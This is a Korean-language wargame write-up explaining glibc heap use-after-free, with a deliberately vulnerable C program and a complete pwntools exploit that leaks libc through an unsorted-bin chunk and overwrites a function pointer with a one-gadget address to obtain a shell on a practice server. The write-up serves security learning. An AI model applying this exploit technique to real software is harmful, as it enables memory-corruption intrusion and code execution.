Use-After-Free(UAF)는 이미 free()된 메모리를 다시 사용하는 취약점이다.
glibc heap allocator의 관리 방식에 따르면 free()된 heap chunk는 바로 사라지는 것이 아니라 allocator가 관리하는 bin에 들어가고 이후 malloc()이 다시 호출되면서 재사용된다.
프로그램 실행 중에는 동적 할당이 빈번하게 발생하지만, 메모리 공간은 한정적이기 때문에 이러한 방식을 사용한다.
하지만 이러한 방식에는 위험한 부분이 있는데, 프로그램은 여전히 예전 포인터를 가지고 있지만 allocator 입장에서는 그 공간이 이미 재사용 가능한 메모리가 되어버리기 때문이다.
malloc()으로 메모리를 할당하면 heap에서는 chunk 단위로 관리한다.
chunk는 다음과 같이 생겼다
[ prev_size ]
[ size ]
[ user data ]
여기서 user data가 우리가 사용하는 영역이다.
하지만 allocator는 이 앞부분에 있는 prev_size, size (metadata)를 통해 각 chunk의 크기와 상태를 관리한다.
사용자는 ptr만 보지만 glibc는 앞의 metadata를 보고 heap을 관리한다.
free()가 호출되면 해당 chunk는 운영체제가 바로 회수하는 것이 아니라 allocator가 bin이나 tcache라는 곳에 보관해놨다가 재할당 시 재사용한다.
그래서 free() 이후에도 메모리 안의 값이 바로 없어지지 않을 수 있고 같은 크기의 malloc()이 다시 들어오면 방금 free한 chunk가 반환될 수도 있다.
이러한 구조 때문에 UAF가 발생한다.
bin은 free()된 chunk들을 allocator가 관리하기 위해 보관하는 공간이다.
glibc는 free된 chunk를 크기와 상황에 따라 여러 bin에 넣는다.
대표적으로 다음과 같은 bin들이 있다.
최근에는 glibc에 tcache라는 것이 추가되어 더 빠른 재사용이 가능하다.
fd와 bk는 free된 chunk들을 연결 리스트처럼 관리하기 위한 포인터이다.
이것들을 통해 allocator는 free chunk들을 연결해서 관리한다.
중요한 점은 fd와 bk가 따로 저장되는 것이 아닌 free된 chunk의 user data 영역에 들어가는 것이다.
쉽게 말하면 사용중일때는 user data 이지만, free된 후에는 user data의 일부가 fd와 bk가 된다.
이렇게되면 free된 chunk를 다시 건들이면 fd와 bk를 조작할 수 있게 된다.
dangling pointer는 이미 해제된 메모리를 여전히 가리키는 포인터를 말한다.
char *ptr = malloc(0x30);
free(ptr);
예를 들어 이 시점에서 ptr 변수 자체는 사라지지 않지만, 여전히 주소값을 들고 있다.
하지만 그 주소는 더이상 내가 소유한 메모리가 아니지만 프로그램은 포인터를 계속 사용하기 때문에 UAF가 발생한다.

// Name: uaf_overwrite.c
// Compile: gcc -o uaf_overwrite uaf_overwrite.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
struct Human {
char name[16];
int weight;
long age;
};
struct Robot {
char name[16];
int weight;
void (*fptr)();
};
struct Human *human;
struct Robot *robot;
char *custom[10];
int c_idx;
void print_name() { printf("Name: %s\n", robot->name); }
void menu() {
printf("1. Human\n");
printf("2. Robot\n");
printf("3. Custom\n");
printf("> ");
}
void human_func() {
int sel;
human = (struct Human *)malloc(sizeof(struct Human));
strcpy(human->name, "Human");
printf("Human Weight: ");
scanf("%d", &human->weight);
printf("Human Age: ");
scanf("%ld", &human->age);
free(human);
}
void robot_func() {
int sel;
robot = (struct Robot *)malloc(sizeof(struct Robot));
strcpy(robot->name, "Robot");
printf("Robot Weight: ");
scanf("%d", &robot->weight);
if (robot->fptr)
robot->fptr();
else
robot->fptr = print_name;
robot->fptr(robot);
free(robot);
}
int custom_func() {
unsigned int size;
unsigned int idx;
if (c_idx > 9) {
printf("Custom FULL!!\n");
return 0;
}
printf("Size: ");
scanf("%d", &size);
if (size >= 0x100) {
custom[c_idx] = malloc(size);
printf("Data: ");
read(0, custom[c_idx], size - 1);
printf("Data: %s\n", custom[c_idx]);
printf("Free idx: ");
scanf("%d", &idx);
if (idx < 10 && custom[idx]) {
free(custom[idx]);
custom[idx] = NULL;
}
}
c_idx++;
}
int main() {
int idx;
char *ptr;
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
while (1) {
menu();
scanf("%d", &idx);
switch (idx) {
case 1:
human_func();
break;
case 2:
robot_func();
break;
case 3:
custom_func();
break;
}
}
}
void robot_func() {
int sel;
robot = (struct Robot *)malloc(sizeof(struct Robot));
strcpy(robot->name, "Robot");
printf("Robot Weight: ");
scanf("%d", &robot->weight);
if (robot->fptr)
robot->fptr();
else
robot->fptr = print_name;
robot->fptr(robot);
free(robot);
}
이 함수에선 Robot 객체를 생성하고 robot->fptr이 있는 경우에 해당 포인터가 가리키는 함수를 실행한다.
만약 이 함수를 실행하기 전에 fptr 포인터를 임의의 함수로 바꾸면 임의의 함수를 실행할 수 있게 된다.
이 fptr 포인터를 조작하기 위하여 UAF 취약점을 이용할 수 있다.
struct Human {
char name[16];
int weight;
long age;
};
struct Robot {
char name[16];
int weight;
void (*fptr)();
};
Human과 Robot이 같은 크기이기 때문에 UAF 취약점이 발생한다면 이전에 할당했던 데이터 age를 *fptr로 덮을 수 있다.
human_func()를 실행하고 Human 객체를 생성할 때 age에 oneshot 가젯 주소를 넣는다.
이렇게되면 Human 객체가 free되어도 메모리에는 age로 기록한 데이터는 남아있다.
robot_func()를 실행하면 Robot 객체가 똑같은 메모리를 할당 받으면서 robot->fptr이 age로 덮여진다. 이후에는 robot->fptr이 가리키는 oneshot 가젯이 실행된다.

가젯 오프셋은 구했고 가젯의 실제 주소를 구하기 위해 libc base를 구해야한다.
unsorted bin에 처음 연결되는 free chunk의 fd와 bk에는 libc 주소가 쓰이는데, 이때 해제된 청크를 재할당하면 user data 영역에는 libc 주소가 그대로 남는 것을 이용하여 libc base를 leak 할 것이다.
int custom_func() {
unsigned int size;
unsigned int idx;
if (c_idx > 9) {
printf("Custom FULL!!\n");
return 0;
}
printf("Size: ");
scanf("%d", &size);
if (size >= 0x100) {
custom[c_idx] = malloc(size);
printf("Data: ");
read(0, custom[c_idx], size - 1);
printf("Data: %s\n", custom[c_idx]);
printf("Free idx: ");
scanf("%d", &idx);
if (idx < 10 && custom[idx]) {
free(custom[idx]);
custom[idx] = NULL;
}
}
c_idx++;
}
custom_func()는 0x100바이트 이상의 크기를 갖는 청크를 할당하고 할당된 청크 중에서 원하는 청크를 해제할 수 있다.
0x410 이하의 크기를 갖는 청크는 tcache에 삽입되므로 이보다 큰 청크를 해제해서 unsorted bin에 연결해야한다.
unsorted bin에 포함되는 청크와 탑 청크는 병합 대상이므로 청크 2개를 연속으로 할당하고 처음 할당한 청크를 해제해야한다.fd에 적히는 libc 주소는 main_arena 주소이다.
main_arena base = __malloc_hook + 0x10이 libc 주소를 통해 libc base를 구할 수 있다.
main arena를 leak하면 0x3ebc40이 출력된다.
printf("Data: ");
read(0, custom[c_idx], size - 1);
하지만 이 코드로 인하여 data 영역에 main arena 주소가 저장된 상태에서 read() 함수로 데이터를 쓰게된다. 이 과정에서 main_arena 주소를 일부 덮기 때문에 제대로된 libc leak을 할 수 없다.
즉, 0x3ebc40에서 0x3ebc??가 되어 1바이트를 덮게 되고 오프셋이 달라진다. 이부분만 주의하여 익스플로잇 코드를 짜면 다음과 같다.
from pwn import *
context.log_level = 'debug'
# p = process('./uaf_overwrite')
p = remote('host3.dreamhack.games', 13092)
libc = ELF('./libc-2.27.so')
p.recvuntil(b'> ')
p.sendline(b'3')
p.recvuntil(b'Size: ')
p.sendline(str(0x500))
p.recvuntil(b'Data: ')
p.send(b'AAAA')
p.recvuntil(b'Free idx: ')
p.sendline(b'100')
p.recvuntil(b'> ')
p.sendline(b'3')
p.recvuntil(b'Size: ')
p.sendline(str(0x500))
p.recvuntil(b'Data: ')
p.send(b'AAAA')
p.recvuntil(b'Free idx: ')
p.sendline(b'100')
p.recvuntil(b'> ')
p.sendline(b'3')
p.recvuntil(b'Size: ')
p.sendline(str(0x500))
p.recvuntil(b'Data: ')
p.send(b'AAAA')
p.recvuntil(b'Free idx: ')
p.sendline(b'0')
p.recvuntil(b'> ')
p.sendline(b'3')
p.recvuntil(b'Size: ')
p.sendline(b'1280')
p.recvuntil(b'Data: ')
p.send(b'B')
p.recvuntil(b'Data: ')
leak = p.recvline().rstrip(b'\n')
libc_base = u64(leak.ljust(8, b'\x00')) - 0x3ebc42
one_gadget = libc_base + 0x10a41c
print(f'one_gadget : {hex(one_gadget)}')
print(f'libc_base : {hex(libc_base)}')
p.recvuntil(b'Free idx: ')
p.sendline(b'100')
p.recvuntil(b'> ')
p.sendline(b'1')
p.recvuntil(b'Human Weight: ')
p.sendline(b'1')
p.recvuntil(b'Human Age: ')
p.sendline(str(one_gadget).encode())
p.recvuntil(b'> ')
p.sendline(b'2')
p.recvuntil(b'Robot Weight: ')
p.sendline(b'1')
p.interactive()
많이 더럽긴해도 작동은 한다.
custom_func()를 4번 실행하며 0x500 바이트의 공간을 2번 할당하고 한번 해제하여 unsorted bin에 청크가 저장되게 한다.
다음으로 0x500 바이트의 공간을 다시 재할당하여 unsorted bin에 저장된 청크를 재활용한다.
p.recvuntil(b'> ')
p.sendline(b'3')
p.recvuntil(b'Size: ')
p.sendline(b'1280')
p.recvuntil(b'Data: ')
p.send(b'B')
p.recvuntil(b'Data: ')
여기서 data에 'B'를 넣었기 때문에 main_arena의 1바이트가 0x42로 덮인다.
따라서 오프셋은 0x3ebc42가 된다.
이어서 얻은 leak을 통해 libc base를 구하고 얻은 libc base를 통해 oneshot gadget의 주소 또한 구한다.
다음으로 human_func()와 robot_func()를 호출하여 UAF를 트리거하고 fptr 포인터를 oneshot gadget 주소로 덮는다.
그리고 마지막으로 fptr을 실행하여 oneshot gadget을 실행하면 셸을 획득 할 수 있다.

확실히 스택보다 힙이 어렵다